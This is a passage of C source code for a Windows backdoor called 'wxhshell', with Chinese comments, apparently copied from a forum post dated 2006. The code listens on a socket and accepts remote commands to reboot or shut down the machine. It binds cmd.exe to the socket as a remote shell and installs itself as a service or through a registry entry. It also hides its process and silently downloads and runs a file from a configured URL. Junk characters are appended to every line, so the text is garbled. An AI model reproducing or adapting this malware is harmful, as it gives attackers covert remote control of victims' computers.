  else { qUx!-DMY  
 ,L\OhT  
    switch(cmd[0]) { L/<^uO1  
  sJ7r9 O`x  
  // 帮助 _,NL;66=[  
  case '?': { f<uLbJ6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '_g8fz 3  
    break; ):+n!P  
  } +J]3)8 y+  
  // 安装 WHvN6  
  case 'i': { p<`q^D  
    if(Install()) "xa<Q%hk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xI<Dc*G  
    else *r?g&Vw$m  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +0.$w  
    break; my[)/'  
    } m!|u{<,R  
  // 卸载 {w(6Tc  
  case 'r': { /+"BU-aQk  
    if(Uninstall()) $[VKM|Zjw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Od^y&$|_%`  
    else P@lExF*D1:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,@/b7BVv  
    break; G! zV=p  
    } }v;@1[.B  
  // 显示 wxhshell 所在路径 3:Y ZC9  
  case 'p': { 1V+a;-?  
    char svExeFile[MAX_PATH]; giyKEnP  
    strcpy(svExeFile,"\n\r"); )|XmF4R  
      strcat(svExeFile,ExeFile); &tj0Z:  
        send(wsh,svExeFile,strlen(svExeFile),0); <)uUAh  
    break; S M@l4GH  
    } iPa!pg4m  
  // 重启 37v!:xF!  
  case 'b': { Q SW03/_f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Fm`hFBKW  
    if(Boot(REBOOT)) `]FA} wC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qa5<go{  
    else { 7F>5<Gv:-  
    closesocket(wsh); mF%>pj&b  
    ExitThread(0); Ib*l{cxN  
    } \"V7O'S)&  
    break; 9FP6Z[4  
    } SWz+.W{KQ"  
  // 关机 IwZn%>1N  
  case 'd': { @r%[e1.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >O&(G0!N+}  
    if(Boot(SHUTDOWN)) 1 C{n!l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5H6m{ng  
    else { Cj _Q9/  
    closesocket(wsh); Kg VLXI6  
    ExitThread(0); )xiic3F  
    } Gk;==~  
    break; x4CrWm  
    } qy`@\)S/5  
  // 获取shell MQ$[jOAqP  
  case 's': { ua/A &XQx  
    CmdShell(wsh); Y 1rU  
    closesocket(wsh); 6^H64jM  
    ExitThread(0); NN\% X3ri"  
    break; (Q o  
  } vd|PTHV_  
  // 退出 (*;b\h  
  case 'x': { ]!d #2(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); yH;=Y1([  
    CloseIt(wsh); N|O/3:P<,U  
    break; (x@|6Sb  
    } p(8H[L4Y  
  // 离开 %C" wUAY  
  case 'q': { "A~\$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); M n`gd#  
    closesocket(wsh);  "9!ln  
    WSACleanup(); b] DF7 U  
    exit(1); 7"yA~e,l  
    break; S;kI\;  
        } :;cKns0OA  
  } VU J*\Sg  
  } #(j'?|2o%  
dGt;t5An V  
  // 提示信息 ]OL O~2j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z2vrV?:  
} 0j %s H  
  } ?x7zYE,6  
^q-]."W]t~  
  return; wS-D"\4/  
} =Bcwd7+  
St7ZyN1  
// shell模块句柄 RZ#b)l  
int CmdShell(SOCKET sock) 1Jg&L~Ws"  
{ dYrw&gn  
STARTUPINFO si; ,j>A[e&.  
ZeroMemory(&si,sizeof(si)); W&#Ps6)8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Azv j(j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rz+)z:u  
PROCESS_INFORMATION ProcessInfo; % 3d59O  
char cmdline[]="cmd"; @W[`^jfQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0"o%=i;  
  return 0; ,#W>E,UU  
} V*5 ~A [r  
.;&c<c|  
// 自身启动模式 uDvZ]Q|.  
int StartFromService(void) lqh+yX%*  
{ ad+@2-Y  
typedef struct R8O; 8c?D  
{ ;*>Y8^K&Q  
  DWORD ExitStatus; hC2@Gq  
  DWORD PebBaseAddress; i eQQ{iGJH  
  DWORD AffinityMask; M6 l S2  
  DWORD BasePriority; M:K5r7Q!yv  
  ULONG UniqueProcessId; "i0{E!,XL  
  ULONG InheritedFromUniqueProcessId; +AkAMZ"Mg  
}   PROCESS_BASIC_INFORMATION; 1(t{)Z<  
z/Z 0cM#  
PROCNTQSIP NtQueryInformationProcess; HjCcfOej  
-7{qTe {  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uv,&/ ,;S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +)YU/41W  
Mtxn@m{i;"  
  HANDLE             hProcess; zr#n^?m  
  PROCESS_BASIC_INFORMATION pbi; FbO\#p s  
R@zl?>+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $0+n0*fp  
  if(NULL == hInst ) return 0; zv/owK  
ip.aM#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vt8z=O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4 :m/w!q$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K6 D3  
L WwWxerZ  
  if (!NtQueryInformationProcess) return 0; /A$mP)}tz  
l@C39VP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vu7F>{D  
  if(!hProcess) return 0; U&x)Q  
Qn0 1ig  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j !m42  
=XAFW  
  CloseHandle(hProcess); 8/4i7oOC  
Qmbl_#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :x*#RnRr.  
if(hProcess==NULL) return 0; xn1=@0 a  
aG&ay3[&  
HMODULE hMod; d^-sxl3}  
char procName[255]; R8"qDj  
unsigned long cbNeeded; 67,@*cK3?J  
L`"B;a&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Fh[Gq  
!u0|{6U  
  CloseHandle(hProcess); Wbra*LNU  
JY6&CL`C  
if(strstr(procName,"services")) return 1; // 以服务启动 b Ag>;e(  
QVEGd"WvvO  
  return 0; // 注册表启动 &n 1 \^:  
} Ic!8$NhRS  
(A<'{J#5,  
// 主模块 j)A$%xUo  
int StartWxhshell(LPSTR lpCmdLine) d]bM,`K* 6  
{ 4|yZA*Q^  
  SOCKET wsl; cx_.+R  
BOOL val=TRUE; 4I %/}+Q  
  int port=0; %+A z X  
  struct sockaddr_in door; w26x)(7  
>R&=mo~  
  if(wscfg.ws_autoins) Install(); Z{#;my*X|  
O:^m#:[cE  
port=atoi(lpCmdLine); DnY7$']"|  
,sn/FT^; q  
if(port<=0) port=wscfg.ws_port; {\87]xJ  
w =MZi=p  
  WSADATA data; LEM^8G]O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  ~wX4j  
UN,y /V  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >mWu+Nn:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,pc\ )HR  
  door.sin_family = AF_INET; Wd0$t    
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); W;^bc*a_  
  door.sin_port = htons(port); XyM?Dc5,  
*, Mg  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E#cW3\)  
closesocket(wsl); nV$ctdusQ  
return 1; Gkfc@[Z V  
} pPezy:  
`6t3D&.u0  
  if(listen(wsl,2) == INVALID_SOCKET) { l:Y$A$W]>  
closesocket(wsl); +.p$Yi`  
return 1; .x^`y2'U  
} $S|2'jc  
  Wxhshell(wsl); &dC #nw  
  WSACleanup(); /G>reG,G  
o`@B*, @  
return 0; -6()$cl}0  
iN}BMd.U  
} gw1| ?C  
R+s_uwS  
// 以NT服务方式启动 r7I,%}k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M~G1ZB  
{ C~5-E{i  
DWORD   status = 0; x_&m$Fh  
  DWORD   specificError = 0xfffffff; 7 -(LWH  
]/d4o  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~'4:{xH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; iZ`1Dzxgk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AlQ!Q)y<@  
  serviceStatus.dwWin32ExitCode     = 0; ;5*)kX  
  serviceStatus.dwServiceSpecificExitCode = 0; `B`/8Cvg  
  serviceStatus.dwCheckPoint       = 0; p,?8s%  
  serviceStatus.dwWaitHint       = 0; UeRx ^  
.2xp.i{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q5$z:'zE  
  if (hServiceStatusHandle==0) return; h&!k!Su3#  
$E^#DjhRQ3  
status = GetLastError(); ))n7.pB9/  
  if (status!=NO_ERROR) r: _- Cj  
{ 1%L* 9>e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HY]vaA`  
    serviceStatus.dwCheckPoint       = 0; /HNZwbh]uJ  
    serviceStatus.dwWaitHint       = 0; (u]ajT  
    serviceStatus.dwWin32ExitCode     = status; I +,D,Vg  
    serviceStatus.dwServiceSpecificExitCode = specificError; + R)x5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B[ f{Ys  
    return; Ru?Ue4W^b  
  } Zq|oj^  
&DX9m4,y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b; SFnZa8  
  serviceStatus.dwCheckPoint       = 0; ^g,[#Rh  
  serviceStatus.dwWaitHint       = 0; 5 TD"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1Tn!.E *  
} {rWu`QT  
y+RT[*bX5o  
// 处理NT服务事件,比如:启动、停止 b`n+[UCPtn  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M* W=v  
{ !oU$(,#9  
switch(fdwControl) Tk-PCra  
{ %E7+W{?*1  
case SERVICE_CONTROL_STOP: tg~&kaz  
  serviceStatus.dwWin32ExitCode = 0; .2hQ!)+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; VEd#LSh  
  serviceStatus.dwCheckPoint   = 0; {KL<Hx2M  
  serviceStatus.dwWaitHint     = 0; Sv-}w$  
  { uNnwz%w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =&,zWNz)  
  } 9AJ!7J#v"  
  return; XJ]MPiXj  
case SERVICE_CONTROL_PAUSE: )BTJs)E  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !EM21Sc  
  break; `sN3iD!@R  
case SERVICE_CONTROL_CONTINUE: n?pCMS|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TE*$NxQ 2  
  break; Ul[>LKFY  
case SERVICE_CONTROL_INTERROGATE: n/s!S &  
  break; 3WJ> T1we  
}; Pp GNA  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5v~Y>  
} aQN`C {nY  
 b6S86>  
// 标准应用程序主函数 scqG$~O)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }QncTw0  
{ ,-c(D-&  
S:vv*5  
// 获取操作系统版本 Rv q_Zsm  
OsIsNt=GetOsVer(); /Fh"Gl^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V{Idj\~Jh  
q) /;|h  
  // 从命令行安装 ; Z61|@Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); )gR14a  
uA!T@>vl  
  // 下载执行文件 30>TxL=&  
if(wscfg.ws_downexe) { R_vZh|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S97.O@V!$  
  WinExec(wscfg.ws_filenam,SW_HIDE); qvYYKu  
} U]hQ#a+  
+@%9pbM"z  
if(!OsIsNt) { ":7cZ1VN2  
// 如果时win9x,隐藏进程并且设置为注册表启动 $'9r=#EH  
HideProc(); EemKYcE@Nr  
StartWxhshell(lpCmdLine); h,140pW  
} QJdSNkc6  
else K!I]/0L  
  if(StartFromService()) 5Tu#o ()  
  // 以服务方式启动 $o]zNW;X  
  StartServiceCtrlDispatcher(DispatchTable); >+vWtO 2  
else 5\=9&{WjND  
  // 普通方式启动 U"m!f*a  
  StartWxhshell(lpCmdLine); $Q{1^  
?783LBe  
return 0; >j`*-(`2fa  
}
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只看该作者 1 发表于: 2006-10-10
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